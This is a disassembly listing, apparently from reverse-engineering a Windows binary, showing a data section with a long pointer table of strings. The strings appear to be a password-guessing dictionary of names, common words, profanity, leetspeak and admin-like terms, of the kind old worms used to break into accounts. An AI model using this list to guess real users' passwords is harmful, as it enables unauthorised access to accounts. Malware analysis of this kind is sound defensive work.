		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
off_430050	dd offset aSlut		; DATA XREF: .data:00426B9Co
					; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
off_43005C	dd offset aSmile	; DATA XREF: .data:off_426A38o
					; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername_0	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43BCE8
		align 8
dword_4306F8	dd 10h			; DATA XREF: sub_40BC95+72w
					; sub_40EC43+B02r ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: .data:004306ECo
		align 4
aZap		db 'zap',0              ; DATA XREF: .data:004306E8o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .data:004306E4o
aXyz		db 'xyz',0              ; DATA XREF: .data:004306E0o
aWisconsin	db 'wisconsin',0        ; DATA XREF: .data:004306DCo
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .data:004306D8o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .data:004306D4o
		align 4
aTty		db 'tty',0              ; DATA XREF: .data:004306D0o
aTopography	db 'topography',0       ; DATA XREF: .data:004306CCo
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .data:004306C8o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: .data:004306C4o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: .data:004306C0o
		align 4
aSys		db 'sys',0              ; DATA XREF: .data:004306BCo
aSupported	db 'supported',0        ; DATA XREF: .data:004306B8o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .data:004306B4o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .data:004306B0o
		align 10h
aSun		db 'sun',0              ; DATA XREF: .data:004306ACo
aStuttgart	db 'stuttgart',0        ; DATA XREF: .data:004306A8o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: .data:004306A4o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: .data:004306A0o
		align 4
aSignature	db 'signature',0        ; DATA XREF: .data:0043069Co
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .data:00430698o
		align 10h
aSal		db 'sal',0              ; DATA XREF: .data:00430694o
aRochester	db 'rochester',0        ; DATA XREF: .data:00430690o
		align 10h
aRje		db 'rje',0              ; DATA XREF: .data:0043068Co
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .data:00430688o
		align 4
aPub		db 'pub',0              ; DATA XREF: .data:00430684o
aProfessor	db 'professor',0        ; DATA XREF: .data:00430680o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .data:0043067Co
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: .data:00430678o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: .data:00430674o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .data:00430670o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .data:0043066Co
		align 10h
aPam		db 'pam',0              ; DATA XREF: .data:00430668o
aPad		db 'pad',0              ; DATA XREF: .data:00430664o
aOceanography	db 'oceanography',0     ; DATA XREF: .data:00430660o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .data:0043065Co
		align 4
aNew		db 'new',0              ; DATA XREF: .data:00430658o
aNet		db 'net',0              ; DATA XREF: .data:00430654o
aMit		db 'mit',0              ; DATA XREF: .data:00430650o
aMgr		db 'mgr',0              ; DATA XREF: .data:0043064Co
aMacintosh	db 'macintosh',0        ; DATA XREF: .data:00430648o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: .data:00430644o
aLee		db 'lee',0              ; DATA XREF: .data:00430640o
aLamination	db 'lamination',0       ; DATA XREF: .data:0043063Co
		align 4
aKim		db 'kim',0              ; DATA XREF: .data:00430638o
aJoy		db 'joy',0              ; DATA XREF: .data:00430630o
aJen		db 'jen',0              ; DATA XREF: .data:0043062Co
aInnocuous	db 'innocuous',0        ; DATA XREF: .data:00430628o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .data:00430624o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00430620o
aHappening	db 'happening',0        ; DATA XREF: .data:0043061Co
		align 4
aHal		db 'hal',0              ; DATA XREF: .data:00430618o
aGnu		db 'gnu',0              ; DATA XREF: .data:00430614o
aFun		db 'fun',0              ; DATA XREF: .data:00430610o
aForesight	db 'foresight',0        ; DATA XREF: .data:0043060Co
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: .data:00430608o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .data:00430604o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: .data:00430600o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .data:004305FCo
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: .data:004305F8o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .data:004305F4o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .data:004305F0o
		align 4
aDos		db 'dos',0              ; DATA XREF: .data:004305ECo
aDog		db 'dog',0              ; DATA XREF: .data:004305E8o
aDiscovery	db 'discovery',0        ; DATA XREF: .data:004305E4o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: .data:004305E0o
		align 4
aDeb		db 'deb',0              ; DATA XREF: .data:004305DCo
aCornelius	db 'cornelius',0        ; DATA XREF: .data:004305D8o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .data:004305D4o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: .data:004305D0o
		align 4
aChristina	db 'christina',0        ; DATA XREF: .data:004305CCo
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: .data:004305C8o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .data:004305C4o
		align 10h
aCat		db 'cat',0              ; DATA XREF: .data:004305C0o
aCampanile	db 'campanile',0        ; DATA XREF: .data:004305BCo
		align 10h
aCad		db 'cad',0              ; DATA XREF: .data:004305B8o
aBsd		db 'bsd',0              ; DATA XREF: .data:004305B4o
aBob		db 'bob',0              ; DATA XREF: .data:004305B0o
aBicameral	db 'bicameral',0        ; DATA XREF: .data:004305ACo
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: .data:004305A8o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .data:004305A4o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: .data:004305A0o
aAsd		db 'asd',0              ; DATA XREF: .data:0043059Co
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .data:00430598o
		align 4
aAnn		db 'ann',0              ; DATA XREF: .data:00430594o
aAndromache	db 'andromache',0       ; DATA XREF: .data:00430590o
		align 4
aAmy		db 'amy',0              ; DATA XREF: .data:0043058Co
aAmorphous	db 'amorphous',0        ; DATA XREF: .data:00430588o
		align 4
aAma		db 'ama',0              ; DATA XREF: .data:00430584o
aAlf		db 'alf',0              ; DATA XREF: .data:00430580o
aAlbatross	db 'albatross',0        ; DATA XREF: .data:0043057Co
		align 4
aAda		db 'ada',0              ; DATA XREF: .data:00430578o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .data:00430574o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .data:00430570o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .data:0043056Co
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: .data:00430568o
		align 4
aHax		db 'hax',0              ; DATA XREF: .data:00430564o
aWh0re		db 'wh0re',0            ; DATA XREF: .data:00430560o
		align 4
aHo		db 'ho',0               ; DATA XREF: .data:0043055Co
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .data:00430558o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: .data:00430554o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .data:00430550o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .data:0043054Co
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .data:00430548o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .data:00430544o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .data:00430540o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .data:0043053Co
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .data:00430538o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: .data:00430534o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .data:00430530o
		align 4
aMs		db 'MS',0               ; DATA XREF: .data:0043052Co
		align 4
aM		db 'M$',0               ; DATA XREF: .data:00430528o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: .data:00430524o
		align 4
aWindose	db 'windose',0          ; DATA XREF: .data:00430520o
aWindoze	db 'windoze',0          ; DATA XREF: .data:0043051Co
aWindowz	db 'windowz',0          ; DATA XREF: .data:00430518o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .data:00430514o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .data:00430510o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .data:0043050Co
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .data:00430508o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .data:00430504o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .data:00430500o
aD00d		db 'd00d',0             ; DATA XREF: .data:004304FCo
		align 4
aLol		db 'lol',0              ; DATA XREF: .data:004304F8o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .data:004304F4o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .data:004304F0o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: .data:004304ECo
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .data:004304E8o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: .data:004304E4o
		align 4
aTester		db 'tester',0           ; DATA XREF: .data:004304E0o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: .data:004304DCo
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .data:004304D8o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .data:004304D4o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .data:004304D0o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .data:004304CCo
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: .data:004304C8o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .data:004304C4o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .data:004304C0o
		align 4
aYoung		db 'young',0            ; DATA XREF: .data:004304BCo
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .data:004304B8o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: .data:004304B4o
aYellowst	db 'yellowst',0         ; DATA XREF: .data:004304B0o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .data:004304ACo
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .data:004304A8o
		align 4
aYang		db 'yang',0             ; DATA XREF: .data:004304A4o
		align 4
